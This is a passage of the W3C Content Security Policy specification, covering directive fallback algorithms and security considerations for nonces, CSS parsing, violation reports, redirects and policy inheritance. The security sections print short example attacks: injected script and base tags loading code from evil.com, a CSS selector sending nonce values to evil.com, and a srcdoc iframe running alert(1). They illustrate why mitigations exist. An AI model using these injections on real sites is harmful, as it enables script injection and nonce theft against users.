Return
img-src.
-
- "
style" -
-
Return
style-src-elem.
-
- "
script"- "
xslt"- "
audioworklet"- "
paintworklet" - "
-
-
Return
script-src-elem.
-
- "
serviceworker"- "
sharedworker"- "
worker" - "
-
-
Return
worker-src.
-
- "
json"- "
text"- "
webidentity" - "
-
-
Return
connect-src.
-
- "
report" -
-
Return null.
-
-
Return
connect-src.
Note: The algorithm returns connect-src as a default fallback. This is
intended for new fetch destinations that are added and which don’t explicitly
fall into one of the other categories.
6.8.2. Get the effective directive for inline checks
Given a string type, this algorithm returns the name of the effective directive.
Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.
-
Switch on type:
- "
script"- "
navigation" - "
-
-
Return
script-src-elem.
-
- "
script attribute" -
-
Return
script-src-attr.
-
- "
style" -
-
Return
style-src-elem.
-
- "
style attribute" -
-
Return
style-src-attr.
-
- "
-
Return null.
6.8.3. Get fetch directive fallback list
Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.
Given a string directive name:
-
Switch on directive name:
- "
script-src-elem" -
-
Return
<< "script-src-elem", "script-src", "default-src" >>.
-
- "
script-src-attr" -
-
Return
<< "script-src-attr", "script-src", "default-src" >>.
-
- "
style-src-elem" -
-
Return
<< "style-src-elem", "style-src", "default-src" >>.
-
- "
style-src-attr" -
-
Return
<< "style-src-attr", "style-src", "default-src" >>.
-
- "
worker-src" -
-
Return
<< "worker-src", "child-src", "script-src", "default-src" >>.
-
- "
connect-src" -
-
Return
<< "connect-src", "default-src" >>.
-
- "
manifest-src" -
-
Return
<< "manifest-src", "default-src" >>.
-
- "
object-src" -
-
Return
<< "object-src", "default-src" >>.
-
- "
frame-src" -
-
Return
<< "frame-src", "child-src", "default-src" >>.
-
- "
media-src" -
-
Return
<< "media-src", "default-src" >>.
-
- "
font-src" -
-
Return
<< "font-src", "default-src" >>.
-
- "
img-src" -
-
Return
<< "img-src", "default-src" >>.
-
- "
-
Return
<< >>.
6.8.4. Should fetch directive execute
This algorithm is used for fetch directives to decide whether a directive
should execute or defer to a different directive that is better suited.
For example: if the effective directive name is worker-src (meaning that
we are currently checking a worker request), a default-src directive
should not execute if a worker-src or script-src directive exists.
Given a string effective directive name, a string directive name and a policy policy:
-
Let directive fallback list be the result of executing § 6.8.3 Get fetch directive fallback list on effective directive name.
-
For each fallback directive of directive fallback list:
-
If directive name is fallback directive, Return "
Yes". -
If policy contains a directive whose name is fallback directive, Return "
No".
-
-
Return "
No".
7. Security and Privacy Considerations
7.1. Nonce Reuse
Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.
If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.
Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.
7.2. Nonce Hijacking
7.2.1. Dangling markup attacks
Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015]
can be used to repurpose a page’s legitimate nonces for injections. For
example, given an injection point before a script element:
< p > Hello, [INJECTION POINT]</ p > < script nonce = abc src = /good.js ></ script >
If an attacker injects the string "<script src='https://evil.com/evil.js' ",
then the browser will receive the following:
< p > Hello,< script src = 'https://evil.com/evil.js' </p > < script nonce= abc src= /good.js></ script >
It will then parse that code, ending up with a script element with a
src attribute pointing to a malicious payload, an attribute named </p>,
an attribute named "<script", a nonce attribute, and a
second src attribute which is helpfully discarded as duplicate by the parser.
The § 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific
attack by walking through script or style element attributes, looking for the
string "<script" or "<style" in their names or values.
User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.
Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [whatwg/html Issue #3257]
For the following example page:
Hello, [INJECTION POINT]< script nonce = abc src = /good.js ></ script >
The following injected string will use a duplicate attribute to attempt to bypass the § 6.7.3.1 Is element nonceable? algorithm check:
Hello,< script src = 'https://evil.com/evil.js' x = "" x = <script nonce = "abcd" src = /good.js ></ script >
7.2.2. Nonce exfiltration via content attributes
Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:
script[ nonce=a] { background : url ( "https://evil.com/nonce?a" );}
The nonce section talks about mitigating these types
of attacks by hiding the nonce from the element’s content attribute and
moving it into an internal slot. This is done to ensure that the nonce
value is exposed to scripts but not any other non-script channels.
7.3. Nonce Retargeting
Nonces bypass host-source expressions, enabling developers to load code from any
origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an
attacker can inject a base element, then an otherwise safe page can be subverted when relative
URLs are resolved. That is, on https://example.com/ the following code will load
https://example.com/good.js:
< script nonce = abc src = /good.js ></ script >
However, the following will load https://evil.com/good.js:
< base href = "https://evil.com" > < script nonce = abc src = /good.js ></ script >
To mitigate this risk, it is advisable to set an explicit base element on every page, or to
limit the ability of an attacker to inject their own base element by setting a
base-uri directive in your page’s policy. For example, base-uri 'none'.
7.4. CSS Parsing
The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.
These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.
7.5. Violation Reports
The violation reporting mechanism in this document has been designed to
mitigate the risk that a malicious web site could use violation reports to
probe the behavior of other servers. For example, consider a malicious web
site that allows https://example.com as a source of images. If the
malicious site attempts to load https://example.com/login as an image, and
the example.com server redirects to an identity provider (e.g.
identityprovider.example.net), CSP will block the request. If violation
reports contained the full blocked URL, the violation report might contain
sensitive information contained in the redirected URL, such as session
identifiers or purported identities. For this reason, the user agent includes
only the URL of the original request, not the redirect target.
Note also that violation reports should be considered attacker-controlled data. Developers who
wish to collect violation reports in a dashboard or similar service should be careful to properly
escape their content before rendering it (and should probably themselves use CSP to further
mitigate the risk of injection). This is especially true for the "script-sample" property of
violation reports, and the sample property of
SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.
7.6. Paths and Redirects
To avoid leaking path information cross-origin (as discussed
in Egor Homakov’s
Using Content-Security-Policy for Evil),
the matching algorithm ignores the path component of a source
expression if the resource being loaded is the result of a
redirect. For example, given a page with an active policy of
img-src example.com example.org/path:
-
Directly loading
https://example.org/not-pathwould fail, as it doesn’t match the policy. -
Directly loading
https://example.com/redirectorwould pass, as it matchesexample.com. -
Assuming that
https://example.com/redirectordelivered a redirect response pointing tohttps://example.org/not-path, the load would succeed, as the initial URL matchesexample.com, and the redirect target matchesexample.org/pathif we ignore its path component.
This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.
The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.
7.7. Secure Upgrades
To mitigate one variant of history-scanning attacks like Yan Zhu’s
Sniffly, CSP will not allow pages to lock
themselves into insecure URLs via policies like script-src http://example.com. As described in
§ 6.7.2.9 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a
secure variant.
7.8. CSP Inheriting to avoid bypasses
Documents loaded from local schemes will inherit a copy of the
policies in the source document. The goal is to ensure that a page can’t
bypass its policy by embedding a frame or opening a new window containing
content that is entirely under its control (srcdoc documents, blob: or data:
URLs, about:blank documents that can be manipulated via document.write(), etc).
If this would not happen a page could execute inline scripts even without
unsafe-inlinein the page’s execution context by simply embedding a
srcdoc
iframe.
< iframe srcdoc = "<script>alert(1);</script>" ></ iframe >
Note that we create a copy of the CSP list which
means that the new Document’s CSP list is a
snapshot of the relevant policies at its creation time. Modifications in the
CSP list of the new Document won’t affect the
source Document’s CSP list or vice-versa.
In the example below the image inside the iframe will not load because it is blocked by the policy in the
metatag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it.
< iframe srcdoc = '<meta http-equiv="Content-Security-Policy" content="img-src example.com;"> <img src="not-example.com/image">' ></ iframe > < img src = "not-example.com/image" >